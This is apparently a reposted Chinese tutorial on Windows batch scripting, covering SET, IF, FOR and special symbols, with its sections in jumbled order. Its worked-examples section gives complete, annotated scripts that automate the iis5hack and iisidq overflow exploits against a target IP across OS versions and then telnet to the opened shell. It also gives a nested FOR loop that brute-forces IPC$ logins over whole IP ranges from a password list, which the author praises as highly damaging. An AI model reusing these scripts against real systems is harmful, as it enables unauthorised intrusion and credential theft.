Bat File

ysjxjf發表於2008-10-10

from the web , tks

[@more@]

SET [variable=[string]]

variable 指定環境變數名稱。
string 指定要指派給變數的一系列字元。

僅鍵入 SET 而不加引數,可以顯示當前的環境變數。

如果命令副檔名被啟用,SET 會如下改變:

可僅用一個變數啟用 SET 命令,等號或值不顯示所有字首匹配
SET 命令已使用的名稱的所有變數的值。例如:

SET P

會顯示所有以字母 P 打頭的變數

如果在當前環境中找不到該變數名稱, SET 命令將把 ERRORLEVEL
設定成 1。

SET 命令不允許變數名含有等號。

在 SET 命令中新增了兩個新替換:

SET /A expression
SET /P variable=[promptString]

/A 命令選項指定等號右邊的字串為被評估的數字表示式。該表示式
評估器很簡單並以遞減的優先權順序支援下列操作:

() - 分組
* / % - 算數運算子
+ - - 算數運算子
<< >> - 邏輯移位
- 按位“與”
^ - 按位“異”
| - 按位“或”
= *= /= %= += -= - 賦值
&= ^= |= <<= >>=
, - 表示式分隔符

如果您使用任何邏輯或取餘運算子, 您需要將表示式字串用
引號擴起來。在表示式中的任何非數字字串鍵作為環境變數
名稱,這些環境變數名稱的值已在使用前轉換成數字。如果指定
了一個環境變數名稱,但未在當前環境中定義,那麼值將被定為
零。這使您可以使用環境變數值做計算而不用鍵入那些 % 符號
來得到它們的值。如果 SET /A 在命令指令碼外的命令列執行的,
那麼它顯示該表示式的最後值。該分配的運算子在分配的運算子
左邊需要一個環境變數名稱。除十六進位制有 0x 字首, 八進位制
有 0 字首的,數字值為十進位數字。因此, 0x12 與 18 和 022
相同。請注意八進位制公式可能很容易搞混: 08 和 09 是無效的數字,
因為 8 和 9 不是有效的八進位制位數。

/P 命令選項允許將變數數值設成使用者輸入的一行輸入。讀取輸入
行之前,顯示指定的 promptString。promptString 可以是空的。

環境變數替換已如下增強:

%PATH:str1=str2%

會擴充套件 PATH 環境變數,用 "str2" 代替擴充套件結果中的每個 "str1"。
要有效地從擴充套件結果中刪除所有的 "str1","str2" 可以是空的。
"str1" 可以以星號打頭;在這種情況下,"str1" 會從擴充套件結果的
開始到 str1 剩餘部分第一次出現的地方,都一直保持相配。

也可以為副檔名指定子字串。

%PATH:~10,5%

會擴充套件 PATH 環境變數,然後只使用在擴充套件結果中從第 11 個(偏
移量 10)字元開始的五個字元。如果沒有指定長度,則採用預設
值,即變數數值的餘數。如果兩個數字(偏移量和長度)都是負數,
使用的數字則是環境變數數值長度加上指定的偏移量或長度。

%PATH:~-10%

會抽取 PATH 變數的最後十個字元。

%PATH:~0,-2%

會抽取 PATH 變數的所有字元,除了最後兩個。

終於新增了延遲環境變數擴充的支援。該支援總是按預設值被
停用,但也可以透過 CMD.EXE 的 /V 命令列命令選項而被啟用/停用。
請參閱 CMD /?

考慮到讀取一行文字時所遇到的目前擴充的限制時,延遲環境
變數擴充是很有用的,而不是執行的時候。以下例子說明直接
變數擴充的問題:

set VAR=before
if "%VAR%" == "before" (
set VAR=after;
if "%VAR%" == "after" @echo If you see this, it worked
)

不會顯示訊息,因為在讀到第一個 IF 語句時,BOTH IF 語句中
的 %VAR% 會被代替;原因是: 它包含 IF 的文體,IF 是一個
複合語句。所以,複合語句中的 IF 實際上是在比較 "before" 和
"after",這兩者永遠不會相等。同樣。以下這個例子也不會達到
預期效果:

set LIST=
for %i in (*) do set LIST=%LIST% %i
echo %LIST%

原因是,它不會在目前的目錄中建立一個檔案列表,而只是將
LIST 變數設成找到的最後一個檔案。這也是因為 %LIST% 在
FOR 語句被讀取時,只被擴充了一次;而且,那時的 LIST 變數
是空的。因此,我們真正執行的 FOR 迴圈是:

for %i in (*) do set LIST= %i

這個迴圈繼續將 LIST 設成找到的最後一個檔案。

延遲環境變數擴充允許您使用一個不同的字元(驚歎號)在執行
時間擴充環境變數。如果延遲的變數擴充被啟用,可以將上面
例子寫成以下所示,以達到預期效果:

set VAR=before
if "%VAR%" == "before" (
set VAR=after
if "!VAR!" == "after" @echo If you see this, it worked
)

set LIST=
for %i in (*) do set LIST=!LIST! %i
echo %LIST%

如果命令副檔名被啟用,有幾個動態環境變數可以被擴充套件,但
不會出現在 SET 顯示的變數列表中。每次變數數值被擴充套件時,
這些變數數值都會被動態計算。如果使用者用這些名稱中任何
一個定義變數,那個定義會替代下面描述的動態定義:

%CD% - 擴充套件到當前目錄字串。

%DATE% - 用跟 DATE 命令同樣的格式擴充套件到當前日期。

%TIME% - 用跟 TIME 命令同樣的格式擴充套件到當前時間。

%RANDOM% - 擴充套件到 0 和 32767 之間的任意十進位制數字。

%ERRORLEVEL% - 擴充套件到當前 ERRORLEVEL 數值。

%CMDEXTVERSION% - 擴充套件到當前命令處理器副檔名版本號。

%CMDCMDLINE% - 擴充套件到呼叫命令處理器的原始命令列。

第四部分:完整案例

以上就是批處理的一些用法。現在我們把這些用法結合起來詳細的分析一下目前網上釋出的一些批處理,看看他們是怎麼運作的。這裡我將列舉三個例子來詳細分析,為了保持程式的完整我的註釋會加在/*後面。

例一

這個例子是利用iis5hack.exe對有.printer漏洞的主機進行溢位的批處理。用到的程式有iis5hack.exe和系統自帶的telnet.exe。iis5hack的命令格式為:

iis5hack

目標版本為0-9這10個數字分別對應不同語言版本和sp的系統版本,我們編制的批處理使用的命令格式為 開始版本號可有可無。程式如下:

@echo off /*關閉命令回顯

if "%1%"=="" goto help /*判斷%1是否為空,%1為目標ip

if "%2%"=="1" goto 1 /*判斷%2是否為1,為1則跳轉標誌1

if "%2%"=="2" goto 2 /*%2為開始版本號,如果沒有設定則

if "%2%"=="3" goto 3 /*如果存在則從匹配的地方開始執行

if "%2%"=="4" goto 4

if "%2%"=="5" goto 5

if "%2%"=="6" goto 6

if "%2%"=="7" goto 7

if "%2%"=="8" goto 8

if not EXIST iis5hack.exe goto file /*沒有發現iis5hack.exe就執行標誌file段內容

ping %1 -n 1 | find "Received = 1" /*ping目標1次,從結果中發現Received = 1

if errorlevel 1 goto error /*如果返回程式碼為1則執行error段(程式碼1為沒有發現 0為發現併成功執行)

iis5hack %1 80 9 88 | find "good" /*開始溢位目標埠80 系統程式碼9 溢位後連線埠88 /*在執行結果中發現字串”good”(溢位成功後才會有字串good)

if not errorlevel 1 goto telnet /*如果沒有錯誤程式碼1(溢位成功)就執行telnet段的內容。

echo 作業系統型別 9 失敗! /否則顯示這一句

:8 /*以下程式碼內容參照上面

iis5hack %1 80 8 88 | find "good"

if not errorlevel 1 goto telnet

echo 作業系統型別 8 失敗!

:7

iis5hack %1 80 7 88 | find "good"

if not errorlevel 1 goto telnet

echo 作業系統型別 7 失敗!

:6

iis5hack %1 80 6 88 | find "good"

if not errorlevel 1 goto telnet

echo 作業系統型別 6 失敗!

:5

iis5hack %1 80 5 88 | find "good"

if not errorlevel 1 goto telnet

echo 作業系統型別 5 失敗!

:4

iis5hack %1 80 4 88 | find "good"

if not errorlevel 1 goto telnet

echo 作業系統型別 4 失敗!

:3

iis5hack %1 80 3 88 | find "good"

if not errorlevel 1 goto telnet

echo 作業系統型別 3 失敗!

:2

iis5hack %1 80 2 88 | find "good"

if not errorlevel 1 goto telnet

echo 作業系統型別 2 失敗!

:1

iis5hack %1 80 1 88 | find "good"

if not errorlevel 1 goto telnet

echo 作業系統型別 1 失敗!

:0

iis5hack %1 80 0 88 | find "good"

if not errorlevel 1 goto telnet

echo 作業系統型別 0 失敗!

goto error

:telnet

telnet %1 88 /*開始連線目標ip的88埠

goto exit /*連線中斷後跳轉exit段

:error /*error段顯示錯誤後的幫助資訊

echo 可能網路不能連線或者對方已經修補該漏洞!請按照下面的格式手工嘗試一次!

echo iis5hack [目標IP] [WEB埠] [系統型別] [開放埠]

ECHO 中文: 0

ECHO 中文+sp1: 1

ECHO 英文: 2

ECHO 英文+sp1: 3

ECHO 日語: 4

ECHO 日語+sp1: 5

ECHO 韓文: 6

ECHO 韓文+sp1: 7

ECHO 墨西哥語: 8

ECHO 墨西哥語+sp1: 9

goto exit /*跳轉exit段

:file /*file段顯示檔案沒有發現的資訊

echo 檔案iis5hack.exe沒有發現!程式終止執行!

goto exit /*跳轉exit段

:help /*help段顯示本批處理的使用格式幫助

echo 本程式用法如下:

echo iis [目標ip]

echo iis [目標ip] [開始的號碼9-0]

:exit /*exit段為程式出口

這個批處理基本沒有什麼迴圈只是一路走下來。所以程式碼比較長難度不大!

例二

這個例子是用iisidq.exe對有idq漏洞的機器進行溢位的批處理。使用的程式有iisidq.exe和系統自帶的程式telnet.exe。iisidq.exe的用法如下:

執行引數: 作業系統型別 目的地址 web埠 1 溢位監聽埠

其中,如果輸入命令引數沒有輸入,那麼,預設為:"cmd.exe"。

其中作業系統型別型別的程式碼範圍是0-14。我們編制的批處理使用的命令格式為 程式如下:

@echo off /*同例一

if not EXIST iisidq.exe goto file /*同例一

if %1 == "" goto error /*同例一

ping %1 -n 1 | find "Received = 1" /*同例一

if errorlevel 1 goto error1 /*同例一

set b=%1 /*建立一個環境變數b,將變數%1的內容傳遞給環境變數b。變數b的內容以後將是目標ip

set a=0 /*建立一個環境變數a並指定環境變數a為0。由於使用整個批處理的迴圈所以用a來做計數器。

:no /*no段開始

if %a%==0 set d=0 /*如果環境變數a=0則建立環境變數d設定環境變數d=0。

if %a%==1 set d=1 /*環境變數d其實是作業系統型別程式碼,用計數器來控制其

if %a%==2 set d=2 /*變動。

if %a%==3 set d=3

if %a%==4 set d=4

if %a%==5 set d=5

if %a%==6 set d=6

if %a%==7 set d=7

if %a%==9 set d=9

if %a%==10 set d=13

if %a%==11 set d=14

goto 0 /*變數傳遞完成後轉到標誌0處執行

:1

echo 正在執行第%d%項!與目標%b%不能連線!正在嘗試連線請等候......

:0 /*標誌0開始

IISIDQ %d% %b% 80 1 99 |find "good"

/*按格式傳送溢位命令並在結果中發現字串good(傳送程式碼成功才會有字串good)

if errorlevel 1 goto 1 /*如果沒有good字串則沒有傳送成跳

/*轉標誌1處繼續嘗試傳送

ping 127.0.0.1 -n 8 >nul /*ping自己8次相當於延時8秒不顯示執

/*行結果

echo 正在執行第%d%項! /*報告正在溢位的作業系統型別

telnet %b% 99 /*連線溢位埠

echo. /*顯示一個空行

if %d%==14 goto error1 /*如果作業系統型別為14則跳轉error1處(迴圈出口)

if %d%==13 set a=11 /*開始用計數器對作業系統程式碼重新附值

if %d%==9 set a=10

if %d%==7 set a=9

if %d%==6 set a=7

if %d%==5 set a=6

if %d%==4 set a=5

if %d%==3 set a=4

if %d%==2 set a=3

if %d%==1 set a=2

if %d%==0 set a=1

goto no /*附值完成跳轉no段執行

:file /*以下都是出錯後的幫助提示

echo IIsidq.exe沒有發現!將該檔案和本檔案放在同一目錄!

goto exit

:error

echo 錯誤!目標ip不可識別!請使用下面的格式連線!

echo idq [目標IP]

goto exit

:error1

echo 連線沒有成功!可能目標機器已經修補了該漏洞或者網路故障所至!

echo 請按照下面的格式手工嘗試!

echo iisidq [目標型別] [目標IP] [目標埠] [連線方式] [溢位埠]

echo telnet [目標ip] [溢位埠]

:exit /*整個程式的出口

這個批處理採用的整體迴圈掌握好計數器部分就掌握了這個批處理。

例三

for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in

(1,1,254) do for /f "tokens=1,2*" %%e in (userpass.txt) do net use

%1.%%a.%%b.%%cipc$ %%e /u:%%f

上面的命令為1條命令。大家可以看出該命令使用了4個FOR來套用的。用法為:C:>TEST.BAT 218

當輸入218回車後該命令會由第1個for取初始值0為%%a然後繼續取第2個for的初始值0為%%b繼續取第3個for的初始值1為%%c最後一個for是將userpass.txt中的第一段字元作為密碼%%e第二段字元作為使用者名稱%%f最後執行命令(這裡我把上面的值都帶進去,設密碼為123 使用者名稱為 abc)

net usr 218.0.0.1ipc$ 123 /u:abc

當然上面這個例子可能有些朋友會說太簡單並且太死板不靈活。修改後的程式可以靈活的查詢你指定開始到結束或你指定開始到最大ip的範圍。當然功能還可以在加強,至於能加強到什麼地步能不能成為一個新的工具那就是你的事了。這個的迴圈動作大了點主要是ip的數字替換麻煩所以沒辦法。這個批處理我就不寫註釋了,大家好好的參考上面的內容你會很快看懂這個批處理的。看懂了得不要說簡單哦!最起碼這是個沒有使用任何第三方工具就能探測並儲存弱口令的批處理了!!簡單的改一改殺傷力還是很大的。以上這些批處理全部在win2000和xp下測試透過最大的優點就是隻有一個批處理檔案並且絕對不會誤報。缺點就是太長!

第三部分:批處理與變數

在批處理中適當的引用變數將會使你所編制的程式應用面更廣。批處理每次能處理的變數從%0~%9共10個。其中%0預設給批處理的檔名使用。除非在使用SHIFT命令後%0才能被%1所替代。引用shift命令的例子如果把%1前面多加上一個%0那麼結果如下:

C::>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11

SHIFT.BAT 1 2 3 4 5 6 7 8 9

1 2 3 4 5 6 7 8 9 10

2 3 4 5 6 7 8 9 10 11

系統是如何區分每個變數的呢,系統區分變數的規則為字串中間的空格,即只要發現空格就把空格前面的字元當作一個變數而空格後面的字元則作為另一個變數。如果你的變數是一個當中包含空格的長目錄名這時候你需要用上一節特殊符號8中所用的引號將他圈起來。例:

批處理內容為:

ECHO %1

ECHO %2

ECHO %3

輸入命令:

C:>TEST “Program Files” Program Files

Program Files

Program

Files

在一個複雜的批處理中又可能同時使用的變數會超過10個這時候會和系統的規則衝突,那麼這個問題怎麼解決呢?在系統中還有一種變數稱之為環境變數(使用SET命令可以檢視當前系統的環境變數)如當前系統目錄是%windir%或%SystemRoot%等。當同時使用的引數超過10個的時候,我們可以把某些在後面的程式中還要呼叫的變數儲存為環境變數。具體用法如

SET A=%1 這樣我們就命名了一個新的環境變數A

在呼叫變數A的時候要%A%這樣呼叫,環境變數不受SHIFT命令影響。如果要改變一個環境變數需要重新對其設定才能改變。當然也可以進行變數與變數之間的傳遞來達到目的。下面我們來看一個例子,批處理如下:

ECHO OFF

SET PASS=%1

SHIFT

SET PASS1=%1

SHIFT

ECHO %PASS% %PASS1% %1 %2 %3 %4 %5 %6 %7 %8 %9

SHIFT

ECHO %PASS% %PASS1% %9

SET PASS=%PASS1% 變數的傳遞

SET PASS1=%9

SHIFT

ECHO %PASS% %PASS1% %9

使用命令:C:>TEST A B 3 4 5 6 7 8 9 10 K L

A B 3 4 5 6 7 8 9 10 K 注意:這一行顯示了11個變數

A B L 在使用了3次SHIFT之後%9變成了L

B L 變數的傳遞後的結果

第二部分:特殊的符號與批處理

在命令列下有些符號是不允許使用的但有些符號卻有著特殊的意義。

1、 符號(@)

@在批處理中的意思是關閉當前行的回顯。我們從上面知道用命令echo off可以關掉整個批處理的命令回顯但卻不能不顯示echo off這個命令。現在我們在這個命令前加上@這樣echo off這一命令就被@關閉了回顯從而達到所有命令均不回顯得要求

2、 符號(>)

>的意思是傳遞並覆蓋。他所起的作用是將執行後的回顯結果傳遞到後面的範圍(後面可是檔案也可是預設的系統控制檯)例:

檔案1.txt的檔案內容為:1+1

使用命令c:>dir *.txt >1.txt

這時候1.txt的內容如下:

驅動器 C 中的卷沒有標籤。

卷的序列號是 301A-1508

C: 的目錄

2003-03-11 14:04 1,005 FRUNLOG.TXT

2003-04-04 16:38 18,598,494 log.txt

2003-04-04 17:02 5 1.txt

2003-03-12 11:43 0 aierrorlog.txt

2003-03-30 00:35 30,571 202.108.txt

5 個檔案 18,630,070 位元組

0 個目錄 1,191,542,784 可用位元組

>將命令執行的結果覆蓋了原始的檔案內容。

在傳遞給控制檯的時候程式將不會有任何回顯(注意:這裡的回顯跟echo off關掉的回顯不是同一概念。Echo off關掉的是輸入命令的回顯,這裡的回顯是程式執行中或後的回顯)例:

C:>dir *.txt >nul

程式將沒有任何顯示也不會產生任何痕跡。

3、 符號(>>)

符號>>的作用與符號>相似,但他們的區別在於>>是傳遞並在檔案末尾追加>>也可將回顯傳遞給控制檯(用法同上)例:

檔案1.txt內同為:1+1

使用命令c:>dir *.txt >>1.txt

這時候1.txt的內容如下:

1+1

驅動器 C 中的卷沒有標籤。

卷的序列號是 301A-1508

C: 的目錄

2003-03-11 14:04 1,005 FRUNLOG.TXT

2003-04-04 16:38 18,598,494 log.txt

2003-04-04 17:02 5 1.txt

2003-03-12 11:43 0 aierrorlog.txt

2003-03-30 00:35 30,571 202.108.txt

5 個檔案 18,630,070 位元組

0 個目錄 1,191,542,784 可用位元組

>>將命令執行的結果覆加在了原始的檔案內容後面。

4、 符號(|)

|是一個管道傳輸命令意思是將上一命令執行的結果傳遞給下一命令去處理。例:

C:>dir c:|find "1508"

卷的序列號是 301A-1508

以上命令的意思為查詢c:的所有並發現1508字串。Find的用法請用 find /?自行檢視

在不使用format的自動格式化引數的時候我是這樣來自動格式化碟片的

echo y|format a: /s /q /v:system

用過format命令的人都知道format有一個互動對化過程,要使用者輸入y來確定當前的命令是否被執行。在這個命令前加上echo y並用管道傳輸符|將echo執行的結果y傳遞給format從而達到手工輸入y的目的(這條命令有危害性,測試的時候請謹慎)

5、 符號(^)

^ 是對特殊符號 > 、

c:>echo test ^> 1.txt

test > 1.txt

從上面可以看出並沒有把test寫入檔案1.txt而是將test >1.txt 當字串顯示了出來。這個符號在遠端構建批處理的時候很有效果。

6、 符號(&)

&符號允許在一行中使用2個以上不同的命令,當第一個命令執行失敗將不影響第2個命令的執行。例:

c:> dir z: &dir y: &dir c:

以上的命令將會連續顯示z: y: c:盤內的內容不理會該磁碟機代號是否存在。

7、 符號(&&)

&&符號也是允許在一行中使用2個以上不同的命令,當第一個命令執行失敗後後續的命令將不會再被執行。例:

c:> dir z: &&dir y: &&dir c:

以上的命令將會提示檢查是否存在z:盤如果存在則執行,如果不存在則停止執行所有的後續命令

8、 符號(" ")

" "符號允許在字串中包含空格。進入一個特殊的目錄可以用如下方法例:

c:>cd “Program Files”

c:>cd progra~1

c:>cd pro*

以上方法都可以進入Program Files目錄

9、 符號(,)

,符號相當於空格。在某些特殊的情況下可以用,來代替空格使用。例:

c:>dir,c:

10、 符號(;)

;符號當命令相同的時候可以將不同的目標用;隔離開來,但執行效果不變。如執行過程中發生錯誤則只返回錯誤報告而程式不會繼續執行。例:

DIR C:;D:;E:F:

以上的命令相當於

DIR C:

DIR D:

DIR E:

DIR F:

當然還有些特殊的符號但他們的使用範圍很小我就不再這裡一一的說明了。

1.如果你的目的是設定環境變數,設定hihi變數為一個隨機數用:
SET HIHI=%RANDOM%

2.如果你的目的是生成一個隨機數寫到文字中,用:
echo %RANDOM%>C:1.txt

3.如果你想二者都有,用:
SET /A HIHI=%RANDOM >C:1.TXT
這時變數和文字中數字一樣。

每執行一次%RANDOM%,便會生成一個隨機數。
所以
set HIHI=%RANDOM%&echo %HIHI%>C:1.txt
這條指令的第一個RANDOM生成一個隨機數set給HIHI。
第二個%HIHI%又生成了另一個隨機數寫到了1.txt中
所以變數HIHI和文字中的隨機數是不同的。

第一類 直接賦值 SET [variable=[string]]

例子:
 
  @echo off  
  set var=所賦的值
  echo %var%
  pause  
  
說明:set(命令) var(變數名) "所賦的值"就是給變數的值

第二類 SET /P variable=[promptString]
  
  用引用把var變數名用兩個%(百分號)擴起來,如%var%,這種SET語法只能直接在BAT程式碼的提前賦予變數的值,有時候我們需要提供一個互動介面,讓使用者自己輸入變數的值,然後我們在來根據這個值來做相應操作,SET的這種語法,只需要加一個"/P"引數就可以了。
  
  例子:
  
  @echo off
  
  set /p var=請輸入變數的值:
  
  if %var% == 1 echo 您輸入了 1
  
  pause
  
說明:set /p 是命令語法 var是變數名 =號右邊的"請輸入變數的值: ",是提示語,不是變數的值,執行後,我們在提示語後面直接輸入1,就會顯示一行您輸入了 1 ,輸入別的就沒有任何反映。
  
第三類 SET /A expression 
  
  
  環境變數替換已如下增強:
  
  %PATH:str1=str2%
  
  %PATH:~10,5%
  
  %PATH:~-10%
  
  %PATH:~0,-2%
  
  這機種語法有什麼用處呢?現在我們來一個個講解他們
  
  SET /A expression
  
  /A 命令列開關指定等號右邊的字串為被評估的數字表示式。該表示式評估器很簡單並以遞減的優先權順序支援下列操作:
  
   () - 分組
  
   ! ~ - - 一元運算子
  
   * / % - 算數運算子
  
   + - - 算數運算子
  
   << >> - 邏輯移位
  
   & - 按位“與”
  
   ^ - 按位“異”
  
   | - 按位“或”
  
   = *= /= %= += -= - 賦值
  
   &= ^= |= <<= >>=
  
   , - 表示式分隔符
  
  上面這些是系統幫助裡的內容,解釋一下:
  
  set的/A引數就是讓SET可以支援數學符號進行加減等一些數學運算,
  
  現在開始舉例子介紹這些數學符號的用法:
  
  看例子 這裡的例子請直接在CMD下複製命令執行,不需要儲存為BAT!
  
  set /a var=1 + 1
  
  set /a 語法, var變數名 1 + 1 數學式子
  
  複製執行後會直接顯示一個2,或者執行完後我們輸入echo %var%,也是二,這就是
  
  一個簡單的加法運算!
  
  set /a var=2 - 1 結果是多少呢?如果你看不到結果就echo %var%.....
  
  set /a var=2 * 2 乘法運算
  
  set /a var=2 / 2 除法運算
  
  set /a var=(1+1) + (1+1) 結果等於4 看得懂吧!
  
  set /a a=1+1,b=2+1,c=3+1 執行後會顯示一個4,但我們用
  
  echo %a% %b% %c%後看結果,會發現其他數學運算也有效果!,這就是","號的
  
  作用!
  
  有時候我們需要直接在原變數進行加減操作就可以用這種語法
  
  set /a var+=1 這樣的語法對應原始語法就是set /a var = %var% + 1
  
  都是一樣的結果,在原變數的值上在進行數學運算,不過這樣寫簡單一點
  
  在來一個:
  
  set /a var*=2
  
  其他都這麼用,只要幫助裡有這個語法!
  
  另外還有一些用邏輯或取餘運算子,這些符號,按照上面的使用方法會報錯的
  
  比如我們在CMD裡輸入set /a var=1 & 1 "與運算",他並不會顯示為1,而是報錯,
  
  為什麼?對於這樣的"邏輯或取餘運算子",我們需要把他們用雙引號引起來,看例子

  
  set /a var= 1 "&" 1 這樣結果就顯示出來了,其他邏輯或取餘運算子用法
  
  set /a var= 1 "^" 1 異運算
  
  set /a var= 1 "%" 1 取模運算
  
  set /a var= 2 "<  
  set /a var= 4 ">>" 2 這個不太記得數學裡的叫法....
  
  還有幾個數學不太行,搞不清楚了....不列出來了,
  
  這些符號也可以用&= ^= |= <<= >>= 這樣的簡單用法如
  
  set /a var"&=" 1 等於set /a var = %var% "&" 1 注意引號
  
  好符號說到這,現在說%PATH:str1=str2%
  
  這個是替換變數值的內容,看例子
  
  @echo off  
  set a= bbs.verybat.cn  
  echo 替換前的值: "%a%"  
  set var=%a: =% 
  echo 替換後的值: "%var%"
pause

  
  對比一下,我們發現他把變數%a%的空格給替換掉了,從這個例子,我們就可以發現%PATH:str1=str2%這個操作就是把變數%PATH%的裡的str1全部用str2替換比如我們把上面的例子改成這樣
  
  @echo off  
  set a=bbs.verybat.cn  
  echo 替換前的值: "%a%"  
  set var=%a:.=傷腦筋%  
  echo 替換後的值: "%var%"  
  pause
  
  解釋set var=%a:.=傷腦筋% set命令 var變數名 字a是要進行字元替換的變數的值,"."為要替換的值,"傷腦筋"為替換後的值!
  
  執行後就會把變數%a%裡面的"."全部替換為"傷腦筋"
  
  這就是set的替換字元的很好的功能!  
  %PATH:~10,5% 這個什麼意思,看例子:
  
  @echo off  
  set a=bbs.verybat.cn  
  set var=%a:~1,2%
  echo %var%
  pause
  
  執行後,我們會發現只顯示了"bs"兩個字母,我們的變數%a%的值不是為bbs.verybat.cn嗎?怎麼只顯示了第2個字母和第3個字母"bs",分析一結果我們就可以很容易看出:  
  %PATH:~10,5%就是顯示變數PATH裡指定幾位的值!
  
  分析set var=%a:~1,2%
  
   set命令 var變數值 a要進行字元操作的變數 "1"從變數"a"第幾位開始顯示 "2"顯示幾位
  
  和起來就是把變數a的值從第一位開始,把後兩位賦予給變數var
  
  
  其他兩種語法
  
  %PATH:~-10%
  
  %PATH:~0,-2%
  
  他們也是顯示指定變數指定幾位的值得的意思
  
  %PATH:~-10% 例子
  
  @echo off
  
  set a=bbs.verybat.cn
  
  set var=%a:~-3%
  
  echo %var%
  
  pause
  
  這個就是把變數a倒數3位的值給變數VAR
  
  當然我們也可以改成這樣
  
  @echo off
  
  set a=bbs.verybat.cn
  
  set var=%a:~3%
  
  echo %var%
  
  pause
  
  這個就是把變數a的前3位的值給變數VAR
  
  %PATH:~0,-2% 例子
  
  @echo off
  
  set a=bbs.verybat.cn
  
  set var=%a:~0,-3%
  
  echo %var%
  
  pause
  
  執行後,我們發現顯示的是"bbs.verybat",少了".cn"
  
  從結果分析,很容易分析出,這是把變數a的值從0位開始,
  
  顯示變數a總位數-3的位的值得(我們給變數a的的值bbs.verybat有11位,11-3=8),這樣他就
  
  只顯示從第0位開始到第8位的值,並賦予給變數var
  
  如果改成這樣
  
  @echo off  
  set a=bbs.verybat.cn  
  set var=%a:~2,-3%  
  echo %var%  
  pause
  
  那麼他就是顯示從第2位開始到第8位的值,並賦予給變數var

關於批處理的FOR,SET,IF
2008年02月28日 星期四 下午 04:37

批處理中的FOR,SET,IF是批處理中比較難的,下面是本人學這幾個命令時覺得比較好的教程

if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。

有三種格式:

1)、if "引數" == "字串" 待執行的命令
引數如果等於指定的字串,則條件成立,執行命令,否則執行下一句。(注意是兩個等號)

如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2)、if exist 檔名 待執行的命令
如果有指定的檔案,則條件成立,執行命令,否則執行下一句。

如if exist config.sys edit config.sys

3)、if errorlevel / if not errorlevel 數字 待執行的命令
如果返回碼等於指定的數字,則條件成立,執行命令,否則執行下一句。

如if errorlevel 2 goto x2

DOS程式執行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。

for 命令

for 命令是一個比較複雜的命令,主要用於引數在指定的範圍內迴圈執行命令。
在批處理檔案中使用 FOR 命令時,指定變數請使用 %%variable

for {%variable│%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的引數。
(set) 指定一個或一組檔案。可以使用萬用字元。
command 指定對每個檔案執行的命令。
command-parameters 為特定命令指定引數或命令列開關。

在批處理檔案中使用 FOR 命令時,指定變數請使用 %%variable
而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %I

如果命令副檔名被啟用,下列額外的 FOR 命令格式會受到支援:
FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含萬用字元,則指定與目錄名匹配,而不與檔名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]

檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的FOR 語句。如果在 /R 後沒有指定目錄,則使用

當前目錄。如果集僅為一個單點(.)字元,則列舉該目錄樹。

FOR /L %variable IN (start,step,end) DO command [command-parameters]

該集表示以增量形式從開始到結束的一個數字序列。
因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command

或者,如果有 usebackq 選項:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command

filenameset 為一個或多個檔名。繼續到 filenameset 中的下一個檔案之前,每份檔案都已被開啟、讀

取並經過處理。
處理包括讀取檔案,將其分成一行行的文字,然後將每行解析成零或更多的符號。然後用已找到的符號字串變數值呼叫 For 迴圈。以預設方式,/F 透過每個檔案的每一行中分開的第一個空白符號。跳過空白行。您可透過指定可選 "options" 引數替代預設解析操作。這個帶引號的字串包括一個或多個指定不同 解析選項的關鍵字。這些關鍵字為:
eol=c - 指一個行註釋字元的結尾(就一個)
skip=n - 指在檔案開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的預設分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代的 for 本身。這會導致額外變數名稱的 格式為一個範圍。透過 nth 符號指定 m 符號字串中的最後一個字元星號,那麼額外的變數將在最後一

個符號解析之分配並接受行的保留文字。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字串並且引號字元為文字字串命令並允許在 file-set中使用雙引號擴起

檔名稱。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將每行中的第二個和第三個符號傳遞給 for

程式體;用逗號和/或 空格定界符號。請注意,這個 for 程式體的語句引用 %i 來取得第二個符號,引用 %j 來取得第三個符號,引用 %k來取得第三個符號後的所有剩餘符號。對於帶有空格的檔名,您需要用

雙引號將檔名括起來。為了用這種方式來使用雙引號,您還需要使用 usebackq 選項,否則,雙引號會

被理解成是用作定義某個要分析的字串的。

%i 專門在 for 語句中得到說明,%j 和 %k 是透過tokens= 選項專門得到說明的。您可以透過 tokens=

一行指定最多 26 個符號,只要不試圖說明一個高於字母 'z' 或'Z' 的變數。請記住,FOR 變數是單一字

母、分大小寫和全域性的;同時不能有 52 個以上都在使用中。

您還可以在相鄰字串上使用 FOR /F 分析邏輯;方法是,用單引號將括號之間的 filenameset 括起來。

這樣,該字串會被當作一個檔案中的一個單一輸入行。

最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將括號之間的 filenameset 變成一個反括字元

串。該字串會被當作命令列,傳遞到一個子 CMD.EXE,其輸出會被抓進記憶體,並被當作檔案分析。因此

,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

會列舉當前環境中的環境變數名稱。

另外,FOR 變數參照的替換已被增強。您現在可以使用下列選項語法:

~I - 刪除任何引號("),擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個檔名
%~xI - 僅將 %I 擴充到一個副檔名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到檔案的檔案屬性
%~tI - 將 %I 擴充到檔案的日期/時間
